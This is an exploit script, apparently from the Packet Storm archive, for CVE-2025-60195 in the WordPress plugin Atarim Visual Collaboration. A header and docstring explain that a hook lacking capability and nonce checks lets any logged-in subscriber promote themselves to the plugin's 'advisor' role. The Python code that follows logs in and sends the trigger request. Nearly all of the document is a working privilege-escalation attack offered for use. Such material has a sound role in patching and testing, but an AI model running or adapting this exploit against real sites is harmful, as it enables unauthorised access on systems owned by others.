Share
## https://sploitus.com/exploit?id=PACKETSTORM:226479
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Atarim Visual Collaboration <= 4.2.1 - Authenticated (Subscriber+) Privilege Escalation to Advisor
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/atarim-visual-collaboration/
    # Software Link: https://downloads.wordpress.org/plugin/atarim-visual-collaboration.4.1.3.zip
    # Version: 4.1.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-60195
    """
    Atarim Visual Collaboration <= 4.2.1: new_license_activation() is hooked on 'init' and runs on any
    URL. In the vulnerable version it does update_user_meta(current_user, 'wpf_user_type', 'advisor')
    with NO capability check and NO nonce (atarim-visual-collaboration.php:337), so any logged-in
    low-privilege user promotes themselves to the plugin's 'advisor' collaboration role by requesting
    any page with ?atarim_response=x&wpf_site_id=x.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="lp_subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": a.user, "pwd": a.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        print(f"[*] Target: {base} | logged in as {a.user}")
        r = s.get(base + "/", params={"atarim_response": "x", "wpf_site_id": "x"}, timeout=20)
        print(f"[*] trigger GET /?atarim_response=x&wpf_site_id=x -> HTTP {r.status_code}")
        print("\n[+] Privilege-escalation request sent. Verify: user meta wpf_user_type == 'advisor'.")
        print("    (wp user meta get %s wpf_user_type)" % a.user)
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())